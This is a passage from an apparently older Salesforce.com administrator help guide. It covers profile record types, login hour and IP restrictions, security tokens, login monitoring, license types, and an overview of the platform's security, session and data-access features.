1. Click Setup ➤ Manage Users ➤ Profiles.


2. Select a profile. The record types available for that profile are listed in the Record Type Settings section.
3. Click Edit next to the appropriate type of record.
4. Select a record type from the Available Record Types list and add it to the Selected Record Types list to make it available
to users with that profile.
Tip: Master is the hidden system record type for records that have no record type assigned. You cannot explicitly
assign Master to records, but you can make it the only record type assigned to a profile when no other record types
are desired.

5. From the Default drop-down list, choose a default record type.


If your organization uses person accounts, this setting also controls which account fields display in the Quick Create
area of the accounts home page.
6. If your organization uses person accounts, set additional options for the default record types for both person accounts and
business accounts. These settings are used when defaults are needed for both kinds of accounts, such as when converting
leads.

• From the Business Account Default Record Type drop-down list, choose a default record type for business
accounts.
• From the Person Account Default Record Type, choose a default record type for person accounts.

7. Click Save.

Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record
types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the
picklist values and default value for the master are available in all accounts.
Note: If your organization uses person accounts, you can view the record type defaults for business accounts and
person accounts in the Account Record Type Settings section of the profile detail page. Also, clicking Edit in that

174
User Management Setting Login Restrictions

section is an alternative way of opening the page where you set record type defaults for accounts. For more information,
see What is a Person Account? on page 1125.

See Also:
Managing Record Types
Setting Record Type Preferences

Setting Login Restrictions


Available in: All Editions

User Permissions Needed


To set login restrictions: “Manage Users”

To help protect your organization's data against unauthorized access, you can restrict users’ ability to log in to Salesforce.com
by customizing user profiles and your organization's list of trusted IP addresses.
Profile-Based Login Hours and IP Addresses
For each profile, you can set the hours when users can log in and the IP addresses from which they can log in.

Organization-Wide Trusted IP Address List


For all users, you can set a list of IP address ranges from which they can always log in without receiving a login challenge.

When users log in to Salesforce.com, either via the user interface, the API, or a desktop client such as Connect for Outlook,
Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader, Salesforce.com confirms that the login
is authorized as follows:

1. Salesforce.com checks whether the user's profile has login hour restrictions. If login hour restrictions are specified for the
user's profile, any login outside the specified hours is denied.
2. Salesforce.com then checks whether the user's profile has IP address restrictions. If IP address restrictions are defined for
the user's profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed.
3. If profile-based IP address restrictions are not set, Salesforce.com checks whether the user is logging in from an IP address
they have not used to access Salesforce.com before:

• If the user's login is from a browser that includes a Salesforce.com cookie, the login is allowed. The browser will have
the Salesforce.com cookie if the user has previously used that browser to log in to Salesforce.com, and has not cleared
the browser cookies.
• If the user's login is from an IP address in your organization's trusted IP address list, the login is allowed.
• If the user's login is from neither a trusted IP address nor a browser with a Salesforce.com cookie, the login is blocked.

Whenever a login is blocked or returns an API login fault, Salesforce.com must verify the user's identity:

• For access via the user interface, the user is prompted to click a Send Activation Link button to send an activation email
to the address specified on the user's Salesforce.com record. The email instructs the user to copy and paste an activation

175
User Management Setting Login Restrictions

link into their browser to activate their computer for logging in to Salesforce.com. The activation link included in the email
is valid for up to 24 hours from the time the user clicked the Send Activation Link button. After 24 hours, the activation
link expires, and users must repeat the activation process to log in.
Note: The first time a user logs into Salesforce.com, they do not have to activate their computer. However, the
next time a user logs in, they must activate their computer using the Send Activation Link button.

• For access via the API or a client, the user must add their security token to the end of their password in order to log in. A
security token is an automatically-generated key from Salesforce.com. For example, if a user's password is mypassword,
and their security token is XXXXXXXXXX, then the user must enter mypasswordXXXXXXXXXX to log in.
Users can obtain their security token by changing their password or resetting their security token via the Salesforce.com
user interface. When a user changes their password or resets their security token, Salesforce.com sends a new security token
to the email address on the user's Salesforce.com record. The security token is valid until a user resets their security token,
changes their password, or has their password reset.
Tip: It is recommended that you obtain your security token via the Salesforce.com user interface from a trusted
network prior to attempting to access Salesforce.com from a new IP address.

Tips on Setting Login Restrictions


Consider the following when setting login restrictions:
• When a user's password is changed, the user's security token is automatically reset. The user may experience a blocked
login until he or she adds the automatically-generated security token to the end of his or her password when logging in to
Salesforce.com via the API or a client.
• Partner portal and Customer Portal users are not required to activate computers to log in.
• For more information on API login faults, see the Core Data Types Used in API Calls topic in the Force.com Web Services
API Developer's Guide.
• If single sign-on is enabled for your organization, API and desktop client users cannot log in to Salesforce.com unless their
IP address is included on your organization's list of trusted IP addresses or on their profile, if their profile has IP address
restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for users with the “Is Single
Sign-On Enabled” permission. However, if the security token is enabled for your organization, then your organization's
login lockout settings determine the number of times a user can attempt to log in with an invalid security token before
being locked out of Salesforce.com.
• The following events count toward the number of times a user can attempt to log in with an invalid password before being
locked out of Salesforce.com, as defined in your organization's login lockout settings:
- Each time a user is prompted to click the Send Activation Link button
- Each time a user incorrectly adds their security token to the end of their password to log into the API or a client

See Also:
Restricting Login IP Ranges for Your Organization
Restricting Login Hours
Restricting Login IP Ranges on Profiles
Resetting Your Security Token
Administrator setup guide: Security Implementation Guide

176
User Management Setting Login Restrictions

Restricting Login Hours


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set login hours: “Manage Users”

You can set the hours when users with a particular profile can use the system.

1. Click Setup ➤ Manage Users ➤ Profiles, and select a profile.


2. Click Edit in the Login Hours related list.
3. Set the days and hours when users with this profile can use the system.
The hours are exact times based on the Default Time Zone of the company as specified at Setup ➤ Company Profile
➤ Company Information. The hours are always applied at those exact times even if a user is in a different time zone or
if the company's Default Time Zone is changed.
Select “None” for the start and end times to allow users to be logged in at any time. To prohibit users from using the system
on a specific day, set the start and end times to the same value.
4. Click Save.

Note: If a user logs in before the restricted hours, the system ends the user’s session when the restricted hours begin.

See Also:
Restricting Login IP Ranges on Profiles
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide

Restricting Login IP Ranges on Profiles


Available in: All Editions

User Permissions Needed


To set login IP ranges: “Manage Users”

You can set the IP addresses from which users with a particular profile can log in. When you define IP address restrictions
for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. To
set IP addresses on profiles:

177
User Management Monitoring User Events

1. The procedure you use to restrict the range of valid IP addresses on profiles depends on your Edition:

• For Enterprise Edition, Unlimited Edition, and Developer Edition, click Setup ➤ Manage Users ➤ Profiles, and
select a profile. Then click New in the Login IP Ranges related list.
• For Professional Edition, Group Edition, and Personal Edition, click Setup ➤ Security Controls ➤ Session Settings,
and then click New in the Login IP Ranges related list.

2. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. If you want to allow
logins from a single IP address, enter the same address in both fields.
For example, enter 125.12.3.0 as the start address and the end address to allow logins from only that IP address.
The start and end IP addresses must include no more than 33,554,432 addresses (225). For example, the following ranges
are valid:

• 0.0.0.0 to 1.255.255.255
• 132.0.0.0 to 132.255.255.255
• 132.0.0.0 to 133.255.255.255

However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large.
Note: The mobile application bypasses IP range definitions set up for profiles. When accessing dashboards and
Visualforce pages, the mobile application initiates a secure connection to Salesforce.com over the mobile carrier's
network , but the mobile carrier's IP addresses might be outside of the IP ranges allowed on the user's profile.

3. Click Save.

See Also:
Restricting Login IP Ranges for Your Organization
Restricting Login Hours
Setting Login Restrictions
Setting Session Security
Administrator setup guide: Security Implementation Guide

Monitoring User Events


Available in: All Editions

User Permissions Needed


To monitor logins and view training history: “Manage Users”

You can monitor user logins and trainings to determine who is using the application and how often and which users have
taken training classes from salesforce.com.

178
User Management Monitoring User Events

If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution,
you can view the most recent Single Sign-On login errors for your organization.

See Also:
Monitoring Logins
Monitoring Training History
Viewing Single Sign-On Login Errors

Monitoring Logins
Available in: All Editions

User Permissions Needed


To monitor logins: “Manage Users”

Administrators can monitor the successful and failed login attempts for their organization and enabled portals, as well as the
type of login, such as Application, SAML, Remote Access Client, and so on.

Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions


1. Click Setup ➤ Manage Users ➤ Login History.
2. Click one of the following links:
• Excel csv file: This downloads a CSV file of all user logins to your Salesforce.com organization for the past six months.
This report includes logins through the API.
• gzipped Excel csv file: This downloads a CSV file of all user logins to your Salesforce.com organization for the past
six months. This report includes logins through the API. The file is compressed and this is the preferred option for
quickest download time.
• Note: The following links are located after the Login History section on the page.

Download login history for the last six months, including logins from outside the website, such as API logins (Excel
.csv file): This downloads a CSV file of all user logins to your Salesforce.com organization for the past six months.
This report includes logins through the API.
• Download login history, including logins from the website only (Excel .csv file): This only download the user logins
that originated from the salesforce.com website.

Note: Older versions of Microsoft Excel cannot open files with more than 65,536 rows. If you cannot open a large
file in Excel, see the Microsoft Help and Support article about handling large files.

To see the last ten successful and failed logins for a specific user, navigate to Setup ➤ Manage Users ➤ Users, click on the
Full Name for the user, and scroll to the Login History section.

179
User Management Monitoring User Events

Personal Edition
To view your personal login history:
1. Click Setup ➤ My Personal Information ➤ Personal Information.
2. Scroll down to the Login History related list to view your last ten logins.
3. To download a CSV file of your login history for the past six months, click the Download... link.
Note: For security purposes, Salesforce.com may require users to pass a user verification test to export data from their
organization. This simple, text-entry test helps prevent malicious programs from accessing your organization's data.
To pass the test, users must type the two words displayed on the overlay into the overlay's text box field, and click the
Submit button. Note that the words entered into the text box field must be separated by a space.
Salesforce.com uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an automated
program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for “Completely
Automated Public Turing Test To Tell Computers and Humans Apart”.

Single Sign-On with SAML


If your organization has set up single sign-on using identity provider certificates (written in SAML), you may see login history
messages specific to this form of single sign-on. For more information, see Login History on page 230.

Monitoring Training History


Available in: Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To view training history: “Manage Users”

As an administrator, it is important to know that your team is learning how to use Salesforce.com effectively. The Training
Class History shows you all of the salesforce.com training classes your users have taken.
Administrators can view the Training Class History by choosing Setup ➤ Manage Users ➤ Training History. After taking
a live training class, users must submit the online training feedback form to have their training attendance recorded in the
training history.

Viewing Single Sign-On Login Errors


User Permissions Needed
To view Single Sign-On login errors: “Modify All Data”

If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution,
you can view the most recent Single Sign-On login errors for your organization.

1. Click Setup ➤ Manage Users ➤ Delegated Authentication Error History.

180
User Management Viewing User License Types

2. For the twenty-one most recent login errors, you can view the user's username, login time, and the error.

Note: Contact salesforce.com to learn more about enabling Single Sign-On for your organization.

See Also:
About Single Sign-On
Best Practices for Implementing Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

Viewing User License Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view user license types: “View Setup and Configuration”

You may have more than one type of user license in Salesforce.com. A user license entitles a user to different functionality
within Salesforce.com and determines the profiles available to the user.
To view a list of the active user licenses your organization has purchased, click Setup ➤ Company Profile ➤ Company
Information. This page lists the following for each type of user license:

• Status indicates the status of the license.


• Total Licenses indicates the number of licenses for which your organization is billed and that are available to you.
• Used Licenses is the number of licenses that you have assigned to users.
• Remaining Licenses is the number of unused licenses.

Additionally, you can click Buy More Licenses to go to Checkout to buy additional user licenses.
The lists below cover the functionality a user is entitled to for each type of standard user license.
Note: You may see other types of licenses listed on this page if your organization has purchased custom user licenses
for different types of functionality. Contact salesforce.com for more information.

181
User Management Viewing User License Types

Salesforce.com Users

User License Description


Salesforce Designed for users who require full access to standard CRM
and Force.com AppExchange apps. Users with this user license
are entitled to access any standard or custom app.
Each license provides additional storage for Enterprise and
Unlimited Edition users. For more information, see
Monitoring Resources on page 253.

Salesforce Platform Designed for users who need access to custom apps but not
to standard CRM functionality. Users with this user license
are entitled to use custom apps developed in your organization
or installed from Force.com AppExchange. In addition, they
are entitled to use core platform functionality such as accounts,
contacts, reports, dashboards, documents, and custom tabs.
However, these users are not entitled to some user permissions
and standard apps, including standard tabs and objects such
as forecasts and opportunities. Users with this license can also
use Connect Offline.
Note: Users with a Salesforce Platform user license
can only view dashboards if the Running User of
the dashboard also has a Salesforce Platform license.
They cannot edit or create new dashboards.

For Salesforce Platform and Salesforce Platform One license


users, the Platform standard app is the only app listed in the
Force.com app menu.
Users with a Salesforce Platform user license can access all the
custom apps in your organization. For a list of the total number
of custom apps available in each Edition, see Salesforce.com
Editions and Limits on page 1007.
Each license provides additional storage for Enterprise and
Unlimited Edition users. For more information, see
Monitoring Resources on page 253.

Salesforce Platform Light Designed for users who need access to custom apps but not
to standard CRM functionality. Users withthis user license
are entitled to the same rights as Salesforce Platform users,
except the amount of times the user can log in is limited
monthly.
Note: Users with this user license cannot edit or create
new dashboards and can only view dashboards if the
Running User of the dashboard also has a
Salesforce.com Platform Light license.

Each license provides an additional 1 MB of data storage and


1 MB of file storage, regardless of Salesforce.com Edition.

182
User Management Viewing User License Types

User License Description


Force.com - One App Designed for users who need access to one custom app but
not to standard CRM functionality. Force.com - One App
users are entitled to the same rights as Salesforce Platform
users, plus they have access to an unlimited number of custom
tabs. However, they are limited to the use of one custom app,
which is defined as up to 10 custom objects, and they are
limited to read-only access to the Accounts and Contacts
objects.
Note: Users with a Force.com - One App user license
cannot edit or create new dashboards and can only
view dashboards if the Running User of the dashboard
also has a Force.com - One App license.

Each license provides an additional 1 MB of data storage and


1 MB of file storage, regardless of the Salesforce.com Edition.

Force.com - Free Designed for users who need access to one custom app but
not standard CRM functionality. Force.com - Free users are
entitled to the same rights as Salesforce Platform users, plus
they have access to an unlimited number of custom tabs.
However, they are limited to the use of one custom app, which
is defined as up to 10 custom objects, and they do not have
access to Accounts and Contacts objects.
Note: Users with a Force.com - Free user license
cannot edit or create new dashboards and can only
view dashboards if the Running User of the dashboard
also has a Force.com - Free license.

Each license provides an additional 1 MB of data storage and


1 MB of file storage, regardless of the Salesforce.com Edition.

Ideas Only User Designed for users who only need access to the Ideas app.
This license allows users to access the Ideas tab, Home tab,
and up to three other custom tabs.
Content Only User Designed for users who only need access to the Content app.
This license allows users to access the following tabs:
Workspaces, Content, Subscriptions, Ideas and Home. Each
license provides 500 MB of file storage.
Knowledge Only User Designed for users who only need access to the Salesforce
Knowledge app. This license provides access to the following
tabs: Articles, Article Management, Home, Reports, and
custom tabs. The Knowledge Only User license includes a
Knowledge Only profile that grants access to the Articles tab
via the “View Articles” user permission. To view and use the
Article Management tab, a user's profile must include the
“Edit Articles” permission. See Setting Up Salesforce
Knowledge on page 1651 for more information.

183
User Management Viewing User License Types

Force.com Sites Users

User License Description


Guest User Designed for public users who access your Force.com sites.
Site visitors have access to any information made available in
an active public site.
The number of Guest User licenses determines the number
of sites that you can develop for your organization. You can
create one active site for each Guest User license. Enterprise
and Unlimited Editions each come with 25 Guest User
licenses. Developer and Force.com - Free Editions each come
with one Guest User license.
See Force.com Sites Limits and Billing on page 1537.
Note:
• You can't purchase additional Guest User licenses.
• The Authenticated Website User high-volume
Customer Portal user license is specifically
designed to be used with sites. Because it's
designed for high volumes, it should be a
cost-effective option to use with sites.

Customer Portal Users

User License Description


High-Volume Customer Portal User The High-Volume Customer Portal User license is designed
for contacts who are allowed to log in to your Salesforce.com
and
Customer Portal to access customer support information. The
Authenticated Website User Authenticated Website User license is designed to allow sites
users to log in to your Customer Portal. You can associate
(both user licenses are high-volume Customer Portal users)
high-volume Customer Portal users with a High-Volume
Note: High-volume Customer Portal users and Customer Portal User or Authenticated Website User profile,
authenticated website users are currently available or a profile cloned and customized from one of these.
through a pilot program. For information on enabling
High-volume Customer Portal users don't have roles and
high-volume Customer Portal users or authenticated
aren't included in the role hierarchy. They can access records
website users, contact salesforce.com.
if all of the following conditions are met:
• The records are associated with the high-volume Customer
Portal user's account or contact
• The high-volume Customer Portal user has read only or
read/write access to an object's records
You can't include high-volume Customer Portal users in:
• Personal groups or public groups
• Sharing rules
• Account teams, sales teams, or case teams
• Salesforce CRM Content workspaces

184
User Management Viewing User License Types

User License Description


Users with the High-Volume Customer Portal User license
can access accounts, assets, cases, contacts, custom objects,
documents, ideas, and questions depending on their profile
settings.
Contact salesforce.com for information about the number of
Customer Portal user licenses you can activate.

Customer Portal Manager Standard Designed for contacts who are allowed to log in to your
Salesforce.com Customer Portal to access customer support
information. You can associate users with a Customer Portal
Manager Standard license with the Customer Portal User
profile or a profile cloned and customized from the Customer
Portal User profile. This lets them view and edit data they
directly own or data owned by or shared with users below them
in the Customer Portal role hierarchy. These users can also
view and edit cases where they are listed in the Contact
Name field.
Users with the Customer Portal Manager Standard license
can:
• Access custom objects depending on their profile settings
• Access Salesforce CRM Content if they have a Salesforce
CRM Content feature license or a customized profile
Contact salesforce.com for information about the number of
Customer Portal user licenses you can activate.

Customer Portal Manager Custom Designed for contacts who are allowed to log in to your
Salesforce.com Customer Portal to access customer support
information. You can associate users with a Customer Portal
Manager Custom license with the Customer Portal Manager
profile or a profile cloned and customized from the Customer
Portal Manager profile, which lets them view and edit data
they directly own and view and edit cases where they're listed
in the Contact Name field.
Users with the Customer Portal Manager Custom license can:
• Access custom objects and run reports depending on their
profile settings
• Receive the “Portal Super User” and “Delegated Portal
User Administrator” permissions
• Access Salesforce CRM Content if they have a Salesforce
CRM Content feature license or a customized profile
Contact salesforce.com for information about the number of
Customer Portal user licenses you can activate.

Partner Portal Users


Users with a partner user license can only access Salesforce.com using the partner portal.

185
User Management Viewing Feature Licenses

User License Description


Bronze Partner Users with a Bronze Partner license can access Documents
and My Account Profile, but have no storage space.
Important: The Bronze Partner License is not
available for purchase after July 2008. Bronze Partner
Licenses that were purchased before July 2008 are
still supported.

Silver Partner Users with a Silver Partner license can access the Documents
tab, My Account Profile, Leads, and Approvals, and have 2
MB of data storage space. Access to Salesforce CRM Content
is determined by feature license and profile.
Gold Partner Users with a Gold Partner license can access the Documents
tab, My Account Profile, Leads, Custom Objects, Approvals,
Accounts, Cases, and Opportunities, and have 5 MB of data
storage space. Access to Salesforce CRM Content is
determined by feature license and profile.

For more information on partner users, see Partner Relationship Management Overview on page 1777.

See Also:
Adding New Users
Managing Users
Company Information
Viewing Feature Licenses

Viewing Feature Licenses


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view feature licenses: “View Setup and Configuration”

You may have more than one type of feature license available to assign to the users in your organization. A feature license
entitles a user to an additional Salesforce.com feature, such as Marketing or Connect Offline.
To view a list of the feature licenses your organization has purchased, click Setup ➤ Company Profile ➤ Company
Information. This page lists the following for each type of feature license:

• Status indicates the status of the license.


• Total Licenses indicates the number of licenses for which your organization is billed and that are available to you.
• Used Licenses is the number of licenses that you have assigned to users.

186
User Management Viewing Feature Licenses

• Remaining Licenses is the number of unused licenses.

Additionally, you can click Buy More Licenses to go to Checkout to buy additional feature licenses; see Checkout User Guide
for instructions.
The following feature licenses are available:

• Marketing User
• Offline User
• Apex Mobile User
• Salesforce CRM Content User
• Knowledge User

For more information on assigning feature licenses to users, see Adding New Users on page 128. For information on purchasing
feature licenses, contact salesforce.com.

See Also:
Company Information
Viewing User License Types

187
SECURITY AND SHARING

Security Overview
Salesforce.com is built with security as the foundation for the entire service. This foundation includes both protection for your
data and applications and the ability to implement your own security scheme to reflect the structure and needs of your
organization.
The security features of Salesforce.com provide both strength and flexibility. However, protecting your data is a joint
responsibility between you and salesforce.com. The security features in Salesforce.com enable you to empower your users to
do their jobs efficiently, while also limiting exposure of data to the users that need to act upon it. You should implement the
security controls that you think are appropriate for the sensitivity of your data. Your data is protected from unauthorized access
from outside your company, and you should also safeguard it from inappropriate usage by your users.
See the following topics to get more information about the various security components in Salesforce.com:

• Security Infrastructure on page 189


• Trust and Salesforce.com on page 189
• User Security on page 190
• User Authentication on page 190
• Network-based Security on page 191
• CAPTCHA Security for Data Exports on page 191
• Session Security on page 192
• Securing Data Access on page 193
• Key Profile Permissions on page 149
• Auditing on page 192

See Also:
FAQ: Security & Scalability
FAQ: What browsers are supported?
Setting Login Restrictions
Setting Session Security
Setting Password Policies
Administrator setup guide: Security Implementation Guide
FAQ: Security & Scalability
Securing Data Access
FAQ: What browsers are supported?
Setting Login Restrictions
Setting Session Security
Setting Password Policies
Administrator setup guide: Security Implementation Guide

188
Security and Sharing Security Overview

Security Infrastructure
One of the core features of a multi-tenant platform is the use of a single pool of computing resources to service the needs of
many different customers. Salesforce.com protects your organization's data from all other customer organizations by using a
unique organization identifier, which is associated with each user's session. Once you log in to your organization, your subsequent
requests are associated with your organization, using this identifier.
Salesforce.com utilizes some of the most advanced technology for Internet security available today. When you access the
application using a Salesforce.com-supported browser, Secure Socket Layer (SSL) technology protects your information using
both server authentication and data encryption, ensuring that your data is safe, secure, and available only to registered users
in your organization. For more information about supported browsers, see Getting Started FAQ on page 2307.
In addition, Salesforce.com is hosted in a secure server environment that uses a firewall and other advanced technology to
prevent interference or access from outside intruders.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

Trust and Salesforce.com


Trust starts with transparency and that is why salesforce.com displays real-time information on system performance and security
on the trust site at http://trust.salesforce.com. On this site, you can find live data on system performance, current and recent
phishing and malware attempts, and tips on best security practices for your organization.
The Security tab on the trust site includes valuable information that can help you to safeguard your company's data. In particular,
phishing and malware are Internet scams on the rise.
Phishing is a social engineering technique that attempts to acquire sensitive information such as usernames, passwords and
credit card details, by masquerading as a trustworthy entity in an electronic communication. Phishers often direct users to
enter details at a fake website whose URL and look-and-feel are almost identical to the legitimate one. As the salesforce.com
community grows, it has become an increasingly appealing target for phishers. You will never get an email or a phone call
from a salesforce.com employee asking you to reveal a password, so you should refuse to reveal it to anyone. You can report
any suspicious activities by clicking the Report a Suspicious Email link under the Trust tab at http://trust.salesforce.com.
Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It is a general
term used to cover a variety of forms of hostile, intrusive, or annoying software, and it includes computer viruses and spyware.

What Salesforce.com Is Doing


Customer security is the foundation of customer success, so salesforce.com will continue to implement the best possible practices
and technologies in this area. Recent and ongoing actions include:
• Actively monitoring and analyzing logs to enable proactive alerts to customers who have been affected.
• Collaborating with leading security vendors and experts on specific threats.
• Executing swift strategies to remove or disable fraudulent sites (often within an hour of detection).
• Reinforcing security education and tightening access policies within salesforce.com.
• Evaluating and developing new technologies both for our customers and for deployment within our infrastructure.

189
Security and Sharing Security Overview

What Salesforce.com Recommends You Do


Salesforce.com is committed to setting the standards in software-as-a-service as an effective partner in customer security. So,
in addition to internal efforts, salesforce.com strongly recommends that customers implement the following changes to enhance
security:
• Modify your Salesforce.com implementation to activate IP range restrictions. This will allow users to access Salesforce.com
only from your corporate network or VPN, thus providing a second factor of authentication. For more information, see
Setting Session Security on page 220 and Restricting Login IP Ranges for Your Organization on page 222.
• Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts.
• Use security solutions from leading vendors such as Symantec to deploy spam filtering and malware protection.
• Designate a security contact within your organization so that salesforce.com can more effectively communicate with you.
Contact your salesforce.com representative with this information.
• Consider using two-factor authentication techniques, such as RSA tokens, to restrict access to your network.
Salesforce.com has a Security Incident Response Team to respond to any security issues. To report a security incident with
Salesforce.com, contact security@salesforce.com. Describe the incident in detail, and the team will respond promptly.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

User Security
Salesforce.com provides each user in your organization with a unique username and password that must be entered each time
a user logs in. Salesforce.com issues a session cookie only to record encrypted authentication information for the duration of
a specific session. The session cookie does not include either the username or password of the user. Salesforce.com does not
use cookies to store other confidential user and session information, but instead implements more advanced security methods
based on dynamic data and encoded session IDs.
There are several settings you can configure to ensure that your users' passwords are strong and secure. If needed, you can
force the expiration of passwords for all users. See Setting Password Policies on page 218 and Expiring Passwords on page 133.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

User Authentication
Salesforce.com has its own system of user authentication, but some companies prefer to use an existing single sign-on capability
to simplify and standardize their user authentication. You have two options to implement single sign-on—federated
authentication using Security Assertion Markup Language (SAML) or delegated authentication.

• Federated authentication using Security Assertion Markup Language (SAML) allows you to send authentication and
authorization data between affiliated but unrelated Web services. This enables you to sign-on to Salesforce.com from a
client application. Federated authentication using SAML is enabled by default for your organization.

190
Security and Sharing Security Overview

• Delegated authentication single sign-on enables you to integrate Salesforce.com with an authentication method that you
choose. This enables you to integrate authentication with your LDAP (Lightweight Directory Access Protocol) server, or
perform single sign-on by authenticating using a token instead of a password. You manage delegated authentication at the
profile level, allowing some users to use delegated authentication, while other users continue to use their
Salesforce.com-managed password. Delegated authentication is set by profile, not organization wide. You must request
that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on
for your organization.
The primary reasons for using delegated authentication include:

- Using a stronger type of user authentication, such as integration with a secure identity provider
- Making your login page private and not part of the general Internet, but rather, part of your corporate network, behind
your corporate firewall
- Differentiating your organization from all other organizations that use Salesforce.com in order to reduce phishing
attacks

For more information, see About Single Sign-On on page 223.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

Network-based Security
User authentication determines who can log in, while network-based security limits where they can log in from and when. Use
network-based security to limit the window of opportunity for an attacker by restricting the origin of user logins. Network-based
security can also make it more difficult for an attacker to use stolen credentials.
To enhance network-based security, Salesforce.com includes the ability to restrict the hours during which users can log in and
the range of IP addresses from which they can log in. If IP address restrictions are defined for a user's profile and a login
originates from an unknown IP address, Salesforce.com does not allow the login. This helps to protect your data from
unauthorized access and “phishing” attacks.
To set the organization-wide list of trusted IP addresses from which users can always log in without a login challenge, see
Restricting Login IP Ranges for Your Organization on page 222. To restrict login hours by profile, see Restricting Login
Hours on page 177. To restrict logins by IP addresses for specific profiles, see Restricting Login IP Ranges on Profiles on page
177.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

CAPTCHA Security for Data Exports


By request, salesforce.com can also require users to pass a user verification test to export data from Salesforce.com. This simple,
text-entry test helps prevent malicious programs from accessing your organization's data, as well as reducing the risk of

191
Security and Sharing Security Overview

automated attacks. CAPTCHA is a type of network-based security. To pass the test, users must type two words displayed on
an overlay into the overlay's text box field, and click a Submit button. Salesforce.com uses CAPTCHA technology provided
by reCaptcha to verify that a person, as opposed to an automated program, has correctly entered the text into the overlay.
CAPTCHA stands for “Completely Automated Public Turing Test To Tell Computers and Humans Apart.”

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a
user leaves their computer unattended while still logged on. It also limits the risk of internal attacks, such as when one employee
tries to use another employee's session.
You can control the session expiration time window for user logins. Session expiration allows you to select a timeout for user
sessions. The default session timeout is two hours of inactivity. When the session timeout is reached, users are prompted with
a dialog that allows them to log out or continue working. If they do not respond to this prompt, they are automatically logged
out.
Note: When a user closes a browser window or tab they are not automatically logged off from their Salesforce.com
session. Please ensure that your users are aware of this, and that they end all sessions properly by clicking Logout.

By default, Salesforce.com uses SSL (secure sockets layer) and requires secure connections (HTTPS) for all communication.
It is not required. The Require secure connections (HTTPS) setting determines whether SSL (HTTPS) is required
for all access to Salesforce.com. If you disable this setting and you change the URL from https:// to http://, you can
still access the application. However, you should require all sessions to use SSL for added security.
For more information, see Setting Session Security on page 220.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

Auditing
Auditing features do not secure your organization by themselves, but these features provide information about usage of the
system, which can be critical in diagnosing potential or real security issues. It is important that someone in your organization
perform regular audits to detect potential abuse. The other security features provided by Salesforce.com are preventative. To
verify that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends.
Auditing features include:
Record Modification Fields
All objects include fields to store the name of the user who created the record and who last modified the record. This
provides some basic auditing information.

192
Security and Sharing Securing Data Access

Login History
You can review a list of successful and failed login attempts to your organization for the past six months. See Monitoring
Logins on page 179.

Field History Tracking


You can also enable auditing for individual fields, which will automatically track any changes in the values of selected
fields. Although auditing is available for all custom objects, only some standard objects allow field-level auditing. See
Tracking Field History on page 457.

Setup Audit Trail


Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization's
configuration. See Monitoring Setup Changes on page 241.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

Securing Data Access


The available data management options vary according to which Salesforce.com Edition you have.

Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need
to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of
data access for your users.
To enable users to do their job without exposing data that they do not need to see, Salesforce.com provides a flexible, layered
sharing design that allows you to expose different data sets to different sets of users.

• To specify the objects and tabs that a user can access, you can assign a profile.
• To specify the fields that a user can access, you can use field-level security.
• To specify the individual records that a user can view and edit, you can set your organization-wide defaults, define a role
hierarchy, and create sharing rules.

Tip: When implementing security and sharing rules for your organization, make a table of the various types of users
in your organization. In the table, specify the level of access to data that each type of user needs for each object and
for fields and records within the object. You can refer to this table as you set up your security model.

The following describes these security and sharing settings:


Object-Level Security (Profiles)
Object-level security provides the bluntest way to control data in Salesforce.com. Using object-level security you can
prevent a user from seeing, creating, editing, or deleting any instance of a particular type of object, such as a lead or
opportunity. Object-level security allows you to hide whole tabs and objects from particular users, so that they do not
even know that type of data exists.

193
Security and Sharing Securing Data Access

You specify object-level security settings on profiles. A profile is a collection of settings and permissions that determine
what a user can do in the application, similar to a group in a Windows network, where all of the members of the group
have the same folder permissions and access to the same software.
Profiles are typically defined by a user's job function (for example, system administrator or sales representative), but you
can have profiles for anything that makes sense for your organization. A profile can be assigned to many users, but a user
can be assigned to only one profile at a time. It is worth spending the necessary time up-front to align your various user
sets with profiles, depending on what they need to see and do in the application.

Field-Level Security
Once you have restricted access to objects as a whole with profiles, you may want to limit access to individual object
fields. Field-level security controls whether a user can see, edit, and delete the value for a particular field on an object.
It allows you to protect sensitive fields without having to hide the whole object from certain profiles. Field-level security
is controlled within profiles.
Unlike page layouts, which only control the visibility of fields on detail and edit pages, field-level security controls the
visibility of fields in any part of the app, including related lists, list views, reports, and search results. To be absolutely
sure that a user cannot access a particular field, it is important to use the field-level security page for a given object to
restrict access to the field. There are no other shortcuts that provide the same level of protection for an individual field.
Important: Field-level security does not prevent searching on the values in a field. If you do not want users to
